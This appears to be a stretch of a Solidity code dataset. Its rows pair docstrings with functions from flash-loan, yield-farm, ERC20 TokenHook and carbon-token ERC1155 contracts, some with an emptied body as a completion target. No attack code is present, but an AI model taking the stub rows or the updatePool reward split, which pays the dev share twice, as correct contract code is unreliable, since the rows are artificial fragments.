function flashLoan(address _receiver, address _reserve, uint256 _amount, bytes calldata _params)
external
nonReentrant
onlyAmountGreaterThanZero(_amount)
{
//check that the reserve has enough available liquidity
uint256 availableLiquidityBefore = _reserve == EthAddressLib.ethAddress()
? address(this).balance
: IERC20(_reserve).balanceOf(address(this));
require(
availableLiquidityBefore >= _amount,
"There is not enough liquidity available to borrow"
);
(uint256 totalFeeBips, uint256 protocolFeeBips) = getFlashLoanFeesInBips();
//calculate amount fee
uint256 amountFee = _amount.mul(totalFeeBips).div(10000);
//protocol fee is the part of the amountFee reserved for the protocol - the rest goes to depositors
uint256 protocolFee = amountFee.mul(protocolFeeBips).div(10000);
require(
amountFee > 0 && protocolFee > 0,
"The requested amount is too small for a flashLoan."
);
//get the FlashLoanReceiver instance
IFlashLoanReceiver receiver = IFlashLoanReceiver(_receiver);
//transfer funds to the receiver
transferToUser(_reserve, payable(_receiver), _amount);
//execute action of the receiver
receiver.executeOperation(_reserve, _amount, amountFee, _params);
//check that the actual balance of the core contract includes the returned amount
uint256 availableLiquidityAfter = _reserve == EthAddressLib.ethAddress()
? address(this).balance
: IERC20(_reserve).balanceOf(address(this));
require(
availableLiquidityAfter == availableLiquidityBefore.add(amountFee),
"The actual balance of the protocol is inconsistent"
);
transferFlashLoanProtocolFeeInternal(_reserve, protocolFee);
//solium-disable-next-line
emit FlashLoan(_receiver, _reserve, _amount, amountFee, protocolFee, block.timestamp);
}
/**
* @dev deposits The underlying asset into the reserve. A corresponding amount of the overlying asset (uTokens) is minted.
* @param _reserve the address of the reserve
* @param _amount the amount to be deposited
**/
function deposit(address _reserve, uint _amount) external
payable
nonReentrant
onlyAmountGreaterThanZero(_amount)
returns(uint mintedTokens) {
require(Pools[_reserve] != address(0), 'UnilendV1: POOL NOT FOUND');
UnilendFDonation(donationAddress).releaseTokens(_reserve);
address _user = msg.sender;
if (_reserve != EthAddressLib.ethAddress()) {
require(msg.value == 0, "User is sending ETH along with the ERC20 transfer.");
uint reserveBalance = IERC20(_reserve).balanceOf(address(this));
ERC20(_reserve).safeTransferFrom(_user, address(this), _amount);
_amount = ( IERC20(_reserve).balanceOf(address(this)) ).sub(reserveBalance);
} else {
require(msg.value >= _amount, "The amount and the value sent to deposit do not match");
if (msg.value > _amount) {
//send back excess ETH
uint256 excessAmount = msg.value.sub(_amount);
(bool result, ) = _user.call{value: excessAmount, gas: 50000}("");
require(result, "Transfer of ETH failed");
}
}
mintedTokens = UFlashLoanPool(Pools[_reserve]).deposit(msg.sender, _amount);
emit Deposit(_reserve, msg.sender, _amount, block.timestamp);
}
/**
* @dev Redeems the uTokens for underlying assets.
* @param _reserve the address of the reserve
* @param _amount the amount uTokens to be redeemed
**/
function redeem(address _reserve, uint _amount) external returns(uint redeemTokens) {
require(Pools[_reserve] != address(0), 'UnilendV1: POOL NOT FOUND');
UnilendFDonation(donationAddress).releaseTokens(_reserve);
redeemTokens = UFlashLoanPool(Pools[_reserve]).redeem(msg.sender, _amount);
//transfer funds to the user
transferToUser(_reserve, payable(msg.sender), redeemTokens);
emit RedeemUnderlying(_reserve, msg.sender, redeemTokens, block.timestamp);
}
/**
* @dev Redeems the underlying amount of assets.
* @param _reserve the address of the reserve
* @param _amount the underlying amount to be redeemed
**/
function redeemUnderlying(address _reserve, uint _amount) external returns(uint token_amount) {
require(Pools[_reserve] != address(0), 'UnilendV1: POOL NOT FOUND');
UnilendFDonation(donationAddress).releaseTokens(_reserve);
token_amount = UFlashLoanPool(Pools[_reserve]).redeemUnderlying(msg.sender, _amount);
//transfer funds to the user
transferToUser(_reserve, payable(msg.sender), _amount);
emit RedeemUnderlying(_reserve, msg.sender, _amount, block.timestamp);
}
/**
* @dev Creates pool for asset.
* This function is executed by the overlying uToken contract in response to a redeem action.
* @param _reserve the address of the reserve
**/
function createPool(address _reserve) public returns (address) {
require(Pools[_reserve] == address(0), 'UnilendV1: POOL ALREADY CREATED');
ERC20 asset = ERC20(_reserve);
string memory uTokenName;
string memory uTokenSymbol;
if(_reserve == EthAddressLib.ethAddress()){
uTokenName = string(abi.encodePacked("UnilendV1 - ETH"));
uTokenSymbol = string(abi.encodePacked("uETH"));
}
else {
uTokenName = string(abi.encodePacked("UnilendV1 - ", asset.name()));
uTokenSymbol = string(abi.encodePacked("u", asset.symbol()));
}
UFlashLoanPool _poolMeta = new UFlashLoanPool(_reserve, uTokenName, uTokenSymbol);
address _poolAddress = address(_poolMeta);
Pools[_reserve] = _poolAddress;
Assets[_poolAddress] = _reserve;
poolLength++;
emit PoolCreated(_reserve, _poolAddress, poolLength);
return _poolAddress;
}
/**
* @dev Creates donation contract (one-time).
**/
function createDonationContract() external returns (address) {
require(donationAddress == address(0), 'UnilendV1: DONATION ADDRESS ALREADY CREATED');
UnilendFDonation _donationMeta = new UnilendFDonation();
donationAddress = address(_donationMeta);
return donationAddress;
}
}
|
allows smartcontracts to access the liquidity of the pool within one transaction, as long as the amount taken plus a fee is returned. NOTE There are security concerns for developers of flashloan receiver contracts that must be kept into consideration. _receiver The address of the contract receiving the funds. The receiver should implement the IFlashLoanReceiver interface. _reserve the address of the principal reserve _amount the amount requested for this flashloan/check that the reserve has enough available liquiditycalculate amount feeprotocol fee is the part of the amountFee reserved for the protocol - the rest goes to depositorsget the FlashLoanReceiver instancetransfer funds to the receiverexecute action of the receivercheck that the actual balance of the core contract includes the returned amountsolium-disable-next-line
|
function flashLoan(address _receiver, address _reserve, uint256 _amount, bytes calldata _params)
external
nonReentrant
onlyAmountGreaterThanZero(_amount)
{
uint256 availableLiquidityBefore = _reserve == EthAddressLib.ethAddress()
? address(this).balance
: IERC20(_reserve).balanceOf(address(this));
require(
availableLiquidityBefore >= _amount,
"There is not enough liquidity available to borrow"
);
(uint256 totalFeeBips, uint256 protocolFeeBips) = getFlashLoanFeesInBips();
uint256 amountFee = _amount.mul(totalFeeBips).div(10000);
uint256 protocolFee = amountFee.mul(protocolFeeBips).div(10000);
require(
amountFee > 0 && protocolFee > 0,
"The requested amount is too small for a flashLoan."
);
IFlashLoanReceiver receiver = IFlashLoanReceiver(_receiver);
transferToUser(_reserve, payable(_receiver), _amount);
receiver.executeOperation(_reserve, _amount, amountFee, _params);
uint256 availableLiquidityAfter = _reserve == EthAddressLib.ethAddress()
? address(this).balance
: IERC20(_reserve).balanceOf(address(this));
require(
availableLiquidityAfter == availableLiquidityBefore.add(amountFee),
"The actual balance of the protocol is inconsistent"
);
transferFlashLoanProtocolFeeInternal(_reserve, protocolFee);
emit FlashLoan(_receiver, _reserve, _amount, amountFee, protocolFee, block.timestamp);
}
| 1,031,526 |
./partial_match/97/0x7Ab6d2CC9785792c82067f34cB819362de921e64/sources/BSCXNTS.sol
|
Update reward variables of the given pool to be up-to-date.
|
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
uint256 rewardSupply = pool.rewardToken.balanceOf(address(this));
if (lpSupply == 0 || rewardSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 forBurn;
uint256 forDev;
uint256 forFarmer;
(forBurn, forDev, forFarmer) = getPoolReward(_pid);
if (forBurn > 0) {
pool.rewardToken.burn(forBurn);
}
if (forDev > 0) {
uint256 lockAmount = forDev.mul(pool.percentLockReward).div(100);
if (teamAddresses[_pid] != address(0)) {
pool.rewardToken.transfer(teamAddresses[_pid], forDev.sub(lockAmount));
farmLock(teamAddresses[_pid], lockAmount, _pid);
pool.rewardToken.transfer(devaddr, forDev.sub(lockAmount));
farmLock(devaddr, lockAmount, _pid);
}
}
pool.accRewardPerShare = pool.accRewardPerShare.add(forFarmer.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
| 11,485,814 |
// SPDX-License-Identifier: ECLv2
/**
* @title TokenHook (THK).
* @author Currently ANONYMOUS.
* @notice You may use this code under ECLv2.
* @dev For new token deployment:
* 1- Install MetaMask (Chrome/Firefox extension).
* 2- Connect to Rinkeby (or other private/public chains).
* 3- Run RemixIDE and set environment as "Injected Web3".
* 4- Copy and past this code in RemixIDE.
* 5- Deploy the token contract (ERC20).
* @dev The code is compatible with version 0.5.x of Solidity complier.
* Version 0.5.11 has been selected for compatibility with the following auditing tools:
* 1- EY Review Tool by Ernst & Young Global Limited.
* 2- SmartCheck by SmartDec.
* 3- Securify by ChainSecurity.
* 4- ContractGuard by GuardStrike.
* 5- MythX by ConsenSys.
* 6- Slither Analyzer by Crytic.
* 7- Odin by Sooho.
*/
pragma solidity 0.5.11;
/**
* @title ERC20 Interface
* @author Fabian Vogelsteller, Vitalik Buterin
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
interface IERC20 {
/// Transfers tokens and fires the Transfer event.
function transfer(address to, uint256 tokens) external returns (bool);
/// Allows to withdraw from your account multiple times, up to the approved tokens.
function approve(address spender, uint256 tokens) external returns (bool);
/// Transfers approved tokens and fires the Transfer event
function transferFrom(address from, address to, uint256 tokens) external returns (bool);
/// Returns the total token supply
function totalSupply() external view returns (uint256);
/// Returns token balance of an account
function balanceOf(address account) external view returns (uint256);
/// Returns the allowed tokens to withdraw from an account
function allowance(address account, address spender) external view returns (uint256);
/// Events
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
/**
* @title Wrappers over Solidity's arithmetic operations with added overflow checks.
* @author OpenZeppelin
* @dev https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.Using this library instead of the unchecked operations
* eliminates an entire class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
/// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
/// benefit is lost if 'b' is also tested.
/// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
/// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
/// assert(a == b * c + a % b); /// There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @title ERC20 Token contract
* @dev When verify the code in EtherScan and if you used the default initialSupply,
* set this value as "Constructor Arguments":
* 0000000000000000000000000000000000000000000000000000000000000000
* @dev The token will be created with 18 decimal places,
* so it takes a balance of 10 ** 18 token units to equal one token.
* In other word, if we want to have x initial tokens, we need to pass in,
* x * 10 ** 18 to the constructor.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256; /// Attach SafeMath functions with uint256 to mitigate integer overflow
string public constant name = "TokenHook"; /// Token name
string public constant symbol = "THK"; /// Token symbol
uint8 public constant decimals = 18; /// Divisible to 18 decimal places
address payable private owner; /// Token owner
uint256 public exchangeRate = 100; /// 100 tokens per 1ETH, default exchange rate
uint256 private initialSupply = 200e6; /// Controls economy of the token by limiting initial supply to 200M
bool private locked; /// Mutex variable to mitigate re-entrancy attack
bool private paused; /// Boolean variable to support Fail-Safe mode
//uint256 private contractBalance = 0; /// Can be used for integrity check
mapping(address => mapping (address => uint256)) private allowances; /// Allowed token to transfer by spenders
mapping(address => mapping (address => uint256)) private transferred; /// Transferred tokens by spenders
mapping(address => uint256) public balances; /// Balance of token holders
/**
* @dev Token constructor that runs only once upon contract creation. The final code of the contract is deployed to the blockchain,
* after the constructor has run.
*/
constructor(uint256 supply) public {
owner = msg.sender; /// Owner of the token
initialSupply = (supply != 0) ? supply : /// Initialize token supply
initialSupply.mul(10 ** uint256(decimals)); /// With 18 zero
balances[owner] = initialSupply; /// Owner gets all initial tokens
emit Transfer(address(0), owner, initialSupply); /// Logs transferred tokens to the owner
}
/**
* @dev Fallback function to accept ETH. It is compatible with 2300 gas for receiving funds via send or transfer methods.
*/
function() external payable{
//require(msg.data.length == 0, "Only plain Ether"); /// Checks for only calls without data
//contractBalance = contractBalance.add(msg.value); /// Adjusting contract balance
emit Received(msg.sender, msg.value); /// Logs received ETH
}
/**
* @dev Transfers `tokens` amount of tokens to address `to`, and fires Transfer event. Transferring zero tokens is also allowed.
*/
function transfer(address to, uint256 tokens) external notPaused validAddress(to) noReentrancy returns (bool success) {
require(balances[msg.sender] >= tokens, "Not enough balance"); /// Checks the sender's balance
require(balances[to].add(tokens) >= balances[to], "Overflow error"); /// Checks overflows
balances[msg.sender] = balances[msg.sender].sub(tokens); /// Subtracts from the sender
balances[to] = balances[to].add(tokens); /// Adds to the recipient
emit Transfer(msg.sender, to, tokens); /// Logs transferred tokens
return true;
}
/**
* @dev Special type of Transfer that makes it possible to give permission to another address for spending tokens on your behalf.
* It sends `tokens` from address `from` to address `to`. The `transferFrom` method is used for a withdraw work-flow, allowing
* contracts to send tokens on your behalf, for example to deposit to a contract address and/or to charge fees in sub-currencies.
* The function call fails unless the `from` account has deliberately authorized the sender of the message via `approve` function.
*/
function transferFrom(address from, address to, uint256 tokens) external notPaused validAddress(to) noReentrancy returns (bool success) {
require(balances[from] >= tokens, "Not enough tokens"); /// Checks the sender's balance
require(tokens <= ( /// Prevent token transfer more than allowed
(allowances[from][msg.sender] > transferred[from][msg.sender]) ?
allowances[from][msg.sender].sub(transferred[from][msg.sender]) : 0)
, "Transfer more than allowed");
balances[from] = balances[from].sub(tokens); /// Decreases balance of approver
balances[to] = balances[to].add(tokens); /// Increases balance of spender
transferred[from][msg.sender] = transferred[from][msg.sender].add(tokens); /// Tracks transferred tokens
emit Transfer(from, to, tokens); /// Logs transferred tokens
return true;
}
/**
* @dev It approves another address to spend tokens on your behalf. It allows `spender` to withdraw from your account, multiple times,
* up to the `tokens` amount. If this function is called again, it overwrites the current allowance with `tokens`.
*/
function approve(address spender, uint256 tokens) external notPaused validAddress(spender) noReentrancy returns (bool success) {
require(spender != msg.sender, "Approver is spender"); /// Spender cannot approve himself
require(balances[msg.sender] >= tokens, "Not enough balance"); /// Checks the approver's balance
allowances[msg.sender][spender] = tokens; /// Sets allowance of the spender
emit Approval(msg.sender, spender, tokens); /// Logs approved tokens
return true;
}
/**
* @dev Implements another way of approving tokens by increasing current approval. It is not defined in the standard.
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol
*/
function increaseAllowance(address spender, uint256 addedTokens) external notPaused validAddress(spender) noReentrancy returns (bool success) {
require(balances[msg.sender] >= addedTokens, "Not enough token"); /// Checks the approver's balance
allowances[msg.sender][spender] = allowances[msg.sender][spender].add(addedTokens); /// Adds allowance of the spender
emit Approval(msg.sender, spender, addedTokens); /// Logs approved tokens
return true;
}
/**
* @dev Implements another way of approving tokens by decreasing current approval. It is not defined in the standard.
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol
*/
function decreaseAllowance(address spender, uint256 subtractedTokens) external notPaused validAddress(spender) noReentrancy returns (bool success) {
require(allowances[msg.sender][spender] >= subtractedTokens, "Not enough token"); /// Checks the spenders's allowance
allowances[msg.sender][spender] = allowances[msg.sender][spender].sub(subtractedTokens);/// Adds allowance of the spender
emit Approval(msg.sender, spender, subtractedTokens); /// Logs approved tokens
return true;
}
/**
* @dev Supports selling tokens to the contract. It uses msg.sender.call.value() mrthod to be compatible with EIP-1884.
* In addition to CEI, Mutex (noReentrancy modifier is also used to mitigate cross-function re-entrancy attack (along with same-function re-entrancy).
*/
function sell(uint256 tokens) external notPaused noReentrancy returns(bool success)
{
require(tokens > 0, "No token to sell"); /// Selling zero token is not allowed
require(balances[msg.sender] >= tokens, "Not enough token"); /// Checks the seller's balance
uint256 _wei = tokens.div(exchangeRate); /// Calculates equivalent of tokens in Wei
require(address(this).balance >= _wei, "Not enough wei"); /// Checks the contract's ETH balance
//require(contractBalance >= _wei, "Not enough wei"); /// Contract does not have enough Wei
/// Using Checks-Effects-Interactions (CEI) pattern to mitigate re-entrancy attack
balances[msg.sender] = balances[msg.sender].sub(tokens); /// Decreases tokens of seller
balances[owner] = balances[owner].add(tokens); /// Increases tokens of owner
//contractBalance = contractBalance.sub(_wei); /// Adjusts contract balance
emit Sell(msg.sender, tokens, address(this), _wei, owner); /// Logs sell event
(success, ) = msg.sender.call.value(_wei)(""); /// Transfers Wei to the seller
require(success, "Ether transfer failed"); /// Checks successful transfer
}
/**
* @dev Supports buying token by transferring Ether
*/
function buy() external payable notPaused noReentrancy returns(bool success){
require(msg.sender != owner, "Called by the Owner"); /// The owner cannot be seller/buyer
uint256 _tokens = msg.value.mul(exchangeRate); /// Calculates token equivalents
require(balances[owner] >= _tokens, "Not enough tokens"); /// Checks owner's balance
balances[msg.sender] = balances[msg.sender].add(_tokens); /// Increases token balance of buyer
balances[owner] = balances[owner].sub(_tokens); /// Decreases token balance of owner
//contractBalance = contractBalance.add(msg.value); /// Adjustes contract balance
emit Buy(msg.sender, msg.value, owner, _tokens); /// Logs Buy event
return true;
}
/**
* @dev Withdraw Ether from the contract and send it to the address that is specified by the owner. It can be called only by the owner.
*/
function withdraw(uint256 amount) external onlyOwner returns(bool success){
require(address(this).balance >= amount, "Not enough fund"); /// Checks the contract's ETH balance
//require(contractBalance >= amount, "Not enough fund"); /// Checks the contract's ETH balance
emit Withdrawal(msg.sender, address(this), amount); /// Logs withdrawal event
(success, ) = msg.sender.call.value(amount)(""); /// Transfers amount (EIP-1884 compatible)
require(success, "Ether transfer failed"); /// Checks successful transfer
}
/**
* @dev Returns balance of the Contract
*
function getContractBalance() public view onlyOwner returns(uint256, uint256){
return (address(this).balance, contractBalance);
}
/**
* @dev Checks for unexpected received Ether (forced to the contract without using payable functions)
*
function unexpectedEther() public view onlyOwner returns(bool){
return (contractBalance != address(this).balance);
}
*/
/**
/* @dev Creates new tokens and assigns them to the owner, increases the total supply as well.
*/
function mint(uint256 newTokens) external onlyOwner {
initialSupply = initialSupply.add(newTokens); /// Increases token supply
balances[owner] = balances[owner].add(newTokens); /// Increases balance of the owner
emit Mint(msg.sender, newTokens); /// Logs Mint event
}
/**
* @dev Burns tokens from the owner, decreases the total supply as well.
*/
function burn(uint256 tokens) external onlyOwner {
require(balances[owner] >= tokens, "Not enough tokens"); /// Checks owner's balance
balances[owner] = balances[owner].sub(tokens); /// Decreases balance of the owner
initialSupply = initialSupply.sub(tokens); /// Decreases token supply
emit Burn(msg.sender, tokens); /// Logs Burn event
}
/**
* @dev Sets new exchange rate. It can be called only by the owner.
*/
function setExchangeRate(uint256 newRate) external onlyOwner returns(bool success)
{
uint256 _currentRate = exchangeRate;
exchangeRate = newRate; /// Sets new exchange rate
emit Change(_currentRate, exchangeRate); /// Logs Change event
return true;
}
/**
* @dev Changes owner of the contract
*/
function changeOwner(address payable newOwner) external onlyOwner validAddress(newOwner) {
address _current = owner;
owner = newOwner;
emit ChangeOwner(_current, owner);
}
/**
* @dev Pause the contract as result of self-checks (off-chain computations).
*/
function pause() external onlyOwner {
paused = true;
emit Pause(msg.sender, paused);
}
/**
* @dev Unpause the contract after self-checks.
*/
function unpause() external onlyOwner {
paused = false;
emit Pause(msg.sender, paused);
}
/**
* @dev Returns the total token supply.
*/
function totalSupply() external view returns (uint256 tokens) {
return initialSupply; /// Total supply of the token.
}
/**
* @dev Returns the account balance of another account with address `tokenHolder`.
*/
function balanceOf(address tokenHolder) external view returns (uint256 tokens) {
return balances[tokenHolder]; /// Balance of token holder.
}
/**
* @dev Returns the amount of tokens approved by the owner that can be transferred to the spender's account.
*/
function allowance(address tokenHolder, address spender) external view notPaused returns (uint256 tokens) {
uint256 _transferred = transferred[tokenHolder][spender]; /// Already transferred tokens by `spender`.
return allowances[tokenHolder][spender].sub(_transferred); /// Remained tokens to transfer by `spender`.
}
/**
* @dev Returns the amount of transferred tokens by spender's account.
*/
function transfers(address tokenHolder, address spender) external view notPaused returns (uint256 tokens) {
return transferred[tokenHolder][spender]; /// Transfers by `spender` (approved by `tokenHolder`).
}
/**
* @dev Checks whether the caller is the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Not the owner");
_;
}
/**
* @dev Checks validity of the address.
*/
modifier validAddress(address addr){
require(addr != address(0x0), "Zero address");
require(addr != address(this), "Contract address");
_;
}
/**
* @author https://solidity.readthedocs.io/en/latest/contracts.html#function-modifiers
* @dev Mutex modifier to mitigate Re-entrancy Attack. Operation will succeed if and only if the locking thread is the one that already holds the lock.
*/
modifier noReentrancy()
{
require(!locked, "Reentrant call");
locked = true;
_;
locked = false;
}
/**
* @dev Modifier to support Fail-Safe Mode. In case, it disables most of the toekn features, hands off control to the owner.
*/
modifier notPaused()
{
require(!paused, "Fail-Safe mode");
_;
}
/// Events
event Buy(address indexed _buyer, uint256 _wei, address indexed _owner, uint256 _tokens);
event Sell(address indexed _seller, uint256 _tokens, address indexed _contract, uint256 _wei, address indexed _owner);
event Received(address indexed _sender, uint256 _wei);
event Withdrawal(address indexed _by, address indexed _contract, uint256 _wei);
event Change(uint256 _current, uint256 _new);
event ChangeOwner(address indexed _current, address indexed _new);
event Pause(address indexed _owner, bool _state);
event Mint(address indexed _owner, uint256 _tokens);
event Burn(address indexed _owner, uint256 _tokens);
}
|
Returns the amount of transferred tokens by spender's account./
|
function transfers(address tokenHolder, address spender) external view notPaused returns (uint256 tokens) {
}
| 6,253,501 |
./full_match/4/0x8caA74b618e3a8773715F5499E44d5C68188B260/sources/contracts/Dram.sol
|
balance = _balances[_owner];
|
function balanceOf(address _owner) public view returns (uint256) {
return _balances[_owner];
}
| 662,958 |
./full_match/11155111/0x9eD44b9f2e01D794fA535efDf6ed3282976A3DFF/sources/project_/contracts/Test.sol
|
payable(msg.sender).transfer(gasUsed + 1e18);payable(msg.sender).transfer(gasUsed + 1);
|
function start()
public
nonReentrant
{
require(
TARGET_TIMESTAMP < block.timestamp,
"Not before 00:00:01 1.1.2030!"
);
require(
!_init,
"Start already done!"
);
if(!_lock)
{
_lock = true;
uint256 gasUsed;
uint256 startGas = gasleft();
transferAllTokens();
gasUsed = startGas - gasleft();
_init = true;
_lock = false;
}
}
| 3,792,955 |
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
contract NetEmissionsTokenNetwork is Initializable, ERC1155Upgradeable, AccessControlUpgradeable {
using SafeMathUpgradeable for uint256;
using CountersUpgradeable for CountersUpgradeable.Counter;
bool public limitedMode; // disables some features like arbitrary token transfers and issuing without proposals
address public admin; // address that has permission to register dealers, transfer in limitedMode, etc.
address private timelock; // DAO contract that executes proposals to issue tokens after a successful vote
// Generic dealer role for registering/unregistering consumers
bytes32 public constant REGISTERED_DEALER =
keccak256("REGISTERED_DEALER");
// Token type specific roles
bytes32 public constant REGISTERED_REC_DEALER =
keccak256("REGISTERED_REC_DEALER");
bytes32 public constant REGISTERED_OFFSET_DEALER =
keccak256("REGISTERED_OFFSET_DEALER");
bytes32 public constant REGISTERED_EMISSIONS_AUDITOR =
keccak256("REGISTERED_EMISSIONS_AUDITOR");
// Consumer role
bytes32 public constant REGISTERED_CONSUMER =
keccak256("REGISTERED_CONSUMER");
/**
* @dev Structure of all tokens issued in this contract
* tokenId - Auto-increments whenever new tokens are issued
* tokenTypeId - Corresponds to the three token types:
* 1 => Renewable Energy Certificate
* 2 => Carbon Emissions Offset
* 3 => Audited Emissions
* issuer - Address of dealer issuing this token
* issuee - Address of original issued recipient this token
* fromDate - Unix timestamp
* thruDate - Unix timestamp
* dateCreated - Unix timestamp
* automaticRetireDate - Unix timestamp
*/
struct CarbonTokenDetails {
uint256 tokenId;
uint8 tokenTypeId;
address issuer;
address issuee;
uint256 fromDate;
uint256 thruDate;
uint256 dateCreated;
uint256 automaticRetireDate;
string metadata;
string manifest;
string description;
}
// Counts number of unique token IDs (auto-incrementing)
CountersUpgradeable.Counter private _numOfUniqueTokens;
// Token metadata and retired balances
mapping(uint256 => CarbonTokenDetails) private _tokenDetails;
mapping(uint256 => mapping(address => uint256)) private _retiredBalances;
// Events
event TokenCreated(
uint256 availableBalance,
uint256 retiredBalance,
uint256 tokenId,
uint8 tokenTypeId,
address indexed issuer,
address indexed issuee,
uint256 fromDate,
uint256 thruDate,
uint256 dateCreated,
uint256 automaticRetireDate,
string metadata,
string manifest,
string description
);
event TokenRetired(
address indexed account,
uint256 tokenId,
uint256 amount
);
event RegisteredConsumer(address indexed account);
event UnregisteredConsumer(address indexed account);
event RegisteredDealer(address indexed account);
event UnregisteredDealer(address indexed account);
// Replaces constructor in OpenZeppelin Upgrades
function initialize(address _admin) public initializer {
__ERC1155_init("");
// Allow dealers to register consumers
_setRoleAdmin(REGISTERED_CONSUMER, REGISTERED_DEALER);
// Set-up admin
_setupRole(DEFAULT_ADMIN_ROLE, _admin);
_setupRole(REGISTERED_DEALER, _admin);
_setupRole(REGISTERED_REC_DEALER, _admin);
_setupRole(REGISTERED_OFFSET_DEALER, _admin);
_setupRole(REGISTERED_EMISSIONS_AUDITOR, _admin);
admin = _admin;
// initialize
timelock = address(0);
limitedMode = false;
}
modifier consumerOrDealer() {
bool isConsumer = hasRole(REGISTERED_CONSUMER, msg.sender);
bool isRecDealer = hasRole(REGISTERED_REC_DEALER, msg.sender);
bool isCeoDealer = hasRole(REGISTERED_OFFSET_DEALER, msg.sender);
bool isAeDealer = hasRole(REGISTERED_EMISSIONS_AUDITOR, msg.sender);
require(
isConsumer || isRecDealer || isCeoDealer || isAeDealer,
"CLM8::consumerOrDealer: msg.sender not a consumer or a dealer"
);
_;
}
modifier onlyDealer() {
bool isRecDealer = hasRole(REGISTERED_REC_DEALER, msg.sender);
bool isCeoDealer = hasRole(REGISTERED_OFFSET_DEALER, msg.sender);
bool isAeDealer = hasRole(REGISTERED_EMISSIONS_AUDITOR, msg.sender);
require(
isRecDealer || isCeoDealer || isAeDealer,
"CLM8::onlyDealer: msg.sender not a dealer"
);
_;
}
modifier onlyAdmin() {
require(
hasRole(DEFAULT_ADMIN_ROLE, msg.sender),
"CLM8::onlyAdmin: msg.sender not the admin"
);
_;
}
/**
* @dev returns true if the tokenId exists
*/
function tokenExists(uint256 tokenId) private view returns (bool) {
if (_numOfUniqueTokens.current() >= tokenId) return true;
return false; // no matching tokenId
}
/**
* @dev returns true if the tokenTypeId is valid
*/
function tokenTypeIdIsValid(uint8 tokenTypeId) pure private returns (bool) {
if ((tokenTypeId > 0) && (tokenTypeId <= 3)) {
return true;
}
return false; // no matching tokenId
}
/**
* @dev returns number of unique tokens
*/
function getNumOfUniqueTokens() public view returns (uint256) {
return _numOfUniqueTokens.current();
}
/**
* @dev hook to prevent transfers from non-admin account if limitedMode is on
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal
virtual
override
{
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint i = 0; i < ids.length; i++) {
CarbonTokenDetails storage token = _tokenDetails[ids[i]];
// disable most transfers if limitedMode is on
if (limitedMode) {
// allow retiring/burning one's tokens
if (to == address(0)) {
continue;
}
// for tokenType 1 and 2, only the timelock and DAO can transfer/issue
// for tokenType 3, only emissions auditors can transfer/issue
// (and they are automatically retired right after)
if (token.tokenTypeId != 3) {
require(
operator == timelock || hasRole(DEFAULT_ADMIN_ROLE, operator),
"CLM8::_beforeTokenTransfer(limited): only admin and DAO can transfer tokens"
);
} else {
require(
hasRole(REGISTERED_EMISSIONS_AUDITOR, operator),
"CLM8::_beforeTokenTransfer(limited): only emissions auditors can issue audited emissions"
);
}
}
}
}
/**
* @dev External function to mint an amount of a token
* Only authorized dealer of associated token type can call this function
